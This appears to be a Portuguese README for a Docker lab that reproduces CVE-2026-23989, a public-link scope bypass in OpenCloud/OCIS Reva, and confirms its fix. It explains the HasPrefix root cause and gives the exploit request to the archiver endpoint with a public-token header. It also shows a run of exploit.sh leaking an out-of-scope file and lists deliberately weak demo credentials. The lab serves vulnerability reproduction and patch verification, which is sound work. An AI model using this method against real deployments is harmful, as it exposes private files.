
# Laboratório de reprodução (Docker A/B) para CVE-2026-23989 — bypass de validação de escopo de link público no OpenCloud / ownCloud Infinite Scale no Reva
Um laboratório autossuficiente e de comando único que reproduz a CVE-2026-23989 e comprova sua correção, usando as imagens Docker oficiais upstream. Um link de compartilhamento público que deveria conceder acesso a uma pasta pode ser explorado para ler arquivos fora do escopo dessa pasta.
| CVE | CVE-2026-23989 |
| Advisory | GHSA-vf5j-r2hw-2hrw ("Public Link Exploit") |
| CVSS 3.1 | 8.2 Alta — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N |
| Classe | Controle de acesso quebrado — confusão de prefixo de caminho na validação de escopo |
| Causa raiz | Reva checkIfNestedResource usava strings.HasPrefix para contenção de caminhos |
| Afetados | OpenCloud estável ≤ 4.0.2 (Reva ≤ v2.40.2), rolling ≤ 5.0.1 (Reva ≤ v2.42.1) |
| Corrigido | OpenCloud 4.0.3 / 5.0.2 (Reva v2.40.3 / v2.42.3, PR opencloud-eu/reva#522) |
| Divulgado | 2026-02-05 |
O OpenCloud é um fork de 2025 do ownCloud Infinite Scale (OCIS), criado por ex-engenheiros do ownCloud após a Kiteworks adquirir o ownCloud. A falha reside no Reva, o backend de armazenamento CS3 compartilhado pelo OCIS/OpenCloud e — conforme o advisory do fornecedor — "originou-se no código-fonte do ownCloud (Kiteworks) e foi herdada quando o OpenCloud fez o fork do OCIS." O OpenCloud é usado aqui porque fornece imagens públicas limpas, fixadas, vulneráveis e corrigidas que permitem uma comparação A/B exata.
internal/grpc/interceptors/auth/scope.go, função checkIfNestedResource — o
interceptor de gateway que decide se um token de link público pode acessar um recurso:
// vulnerável (Reva ≤ 2.40.2 / ≤ 2.42.1)
return strings.HasPrefix(childPath, parentPath), nil
parentPath é o caminho da pasta compartilhada (o escopo do link); childPath é o
caminho do recurso solicitado. Prefixo de string não é contenção de caminho:
parentPath = "/Shared"
childPath = "/Shared-secret/flag.txt" (um irmão, NÃO um filho)
strings.HasPrefix("/Shared-secret/flag.txt", "/Shared") == true ← errado: acesso concedido
Portanto, um link com escopo em /Shared também alcança qualquer recurso do mesmo espaço cujo caminho
começa com a string /Shared — por exemplo, /Shared-secret, /Shared-2024,
/Shared backup. A correção substitui o teste por filepath.Rel e rejeita qualquer
caminho relativo que comece com .. (patch completo em patch/reva-scope.go.patch).
Toda operação de gateway que carrega um token de link público passa pela verificação
de escopo defeituosa, mas a primitiva dos descobridores (e deste laboratório) é o
serviço de arquivamento em GET /archiver, autenticado para um link público com o
cabeçalho public-token:. Ele aceita um id de recurso (?id=<fileid>), percorre-o e
transmite um zip. Aponte-o para o id de um irmão de prefixo fora do escopo e a verificação
defeituosa o admite:
GET /archiver?id=<id-de-/Shared-secret>
public-token: <token de link com escopo em /Shared>
→ 200, zip de /Shared-secret (em 4.0.2)
→ 404 "gateway could not find space for ref=…" (em 4.0.3)
O atacante deve fornecer o id do recurso do alvo fora do escopo. Esse
id opaco é um UUID aleatório e não é enumerável por meio do próprio link público
(o link não pode listar o espaço do proprietário — ele retorna 401). No OCIS,
no entanto, o oc:fileid de um recurso é exposto em quase toda resposta WebDAV/graph,
convite de compartilhamento, notificação de atividade e URL web (/f/<id>), portanto qualquer
colaborador anterior, ex-recipiente de um compartilhamento diferente ou usuário interno
normalmente o possui — é por isso que o fornecedor classificou a complexidade do ataque como Baixa. O
setup.sh do laboratório obtém o id "como a vítima" para entregá-lo à etapa do atacante, modelando
esse conhecimento prévio realista. Travessia de caminho (?path=../…) não é um
substituto viável: esses caminhos são resolvidos relativamente ao compartilhamento e limpos (404).
"/"
e HasPrefix("/", "/Shared") é falso (o laboratório confirma isso: arquivamento da raiz
do espaço → 404). Irmãos sem prefixo, como /Private, também são negados na
versão vulnerável — o laboratório usa isso como controle para provar que o efeito é
especificamente o bug de prefixo, não uma falha genérica de autenticação.| Arquivo | Finalidade |
|---|---|
docker-compose.yml | Um contêiner OpenCloud; OC_TAG seleciona a versão vulnerável (4.0.2) ou corrigida (4.0.3). |
setup.sh | Planta o cenário da vítima no espaço da usuária demo mary e cria um link público sem senha em /Shared. Grava state.env. |
exploit.sh | PoC do atacante. Dado o token do link + um id de recurso alvo, chama o arquivador e imprime quaisquer bytes exfiltrados. |
verify.sh | A/B de comando único: reproduz em 4.0.2, confirma a correção em 4.0.3, imprime uma matriz PASS/FAIL. |
patch/reva-scope.go.patch | A correção exata de uma linha do upstream, anotada. |
Cenário plantado no espaço pessoal de mary:
/Shared/public-note.txt ← compartilhado via link público (no escopo)
/Shared-secret/flag.txt ← alvo do PoC; caminho com prefixo "/Shared" (fora do escopo)
/Private/topsecret.txt ← controle; sem prefixo (fora do escopo, permanece negado)
Pré-requisitos: Docker + Docker Compose, curl, python3. Baixa ~250 MB de imagens.
./verify.sh
Saída esperada:
== Exploit + controles contra VULNERÁVEL 4.0.2 ==
[PASS] no escopo /Shared (acesso legítimo) (vazamento esperado)
[PASS] PoC: fora do escopo /Shared-secret (vazamento esperado)
[PASS] sem prefixo /Private (deve permanecer negado) (negação esperada)
== Exploit + controle contra CORRIGIDO 4.0.3 ==
[PASS] no escopo /Shared (ainda funciona) (vazamento esperado)
[PASS] PoC: fora do escopo /Shared-secret (corrigido) (negação esperada)
== Veredito ==
5 aprovados, 0 falhas
CVE-2026-23989 reproduzida em 4.0.2 e correção confirmada em 4.0.3.
Par rolling-release em vez de estável:
VULN_TAG=5.0.1 FIXED_TAG=5.0.2 ./verify.sh
# 1. suba a versão vulnerável
OC_TAG=4.0.2 docker compose up -d
# 2. plante o cenário da vítima (cria o link público, grava state.env)
./setup.sh
# 3. ataque: vaze o irmão fora do escopo (lê o alvo de state.env)
./exploit.sh # usa por padrão o id de /Shared-secret
./exploit.sh --target-id "$(. ./state.env; echo "$PRIVATE_ID")" # controle: negado
Transcrição real contra a versão vulnerável (os valores de state.env variam por execução):
===== EXPLOIT /Shared-secret (irmão de prefixo fora do escopo) =====
[*] Token do link público: UVWPXGsjlLJRYxK (escopo: uma única pasta compartilhada)
[*] HTTP 200, 365 bytes
Shared-secret/flag.txt:
FLAG{CVE-2026-23989_out-of-scope-sibling-leaked-via-HasPrefix-bug}
[+] VAZAMENTO CONFIRMADO — bytes de arquivo fora do escopo exfiltrados via link público.
===== CONTROLE /Private (fora do escopo, sem prefixo) =====
[*] HTTP 404, 249 bytes
[-] NEGADO — servidor recusou: error: not found: gateway could not find space for ref=…
Confirme a correção com os mesmos dados (mesmo token e ids):
OC_TAG=4.0.3 docker compose stop && OC_TAG=4.0.3 docker compose up -d
./exploit.sh # agora → HTTP 404, NEGADO
Encerramento:
docker compose down -v
GATEWAY_STORAGE_PUBLIC_LINK_ENDPOINT="" no contêiner. O fornecedor confirma
que isso mitiga totalmente o problema (um link público então retorna um erro).O docker-compose.yml enfraquece deliberadamente a instância para que o PoC seja
roteirizável: PROXY_ENABLE_BASIC_AUTH=true (para que curl -u/public-token funcionem sem o
fluxo OIDC), IDM_CREATE_DEMO_USERS=true (mary/demo etc. — senhas públicas),
IDM_ADMIN_PASSWORD=admin, links públicos sem senha e um certificado autoassinado
(curl -k). Nenhum desses é a vulnerabilidade; eles apenas a tornam observável em
um shell. O bypass em si é independente deles.
8d52003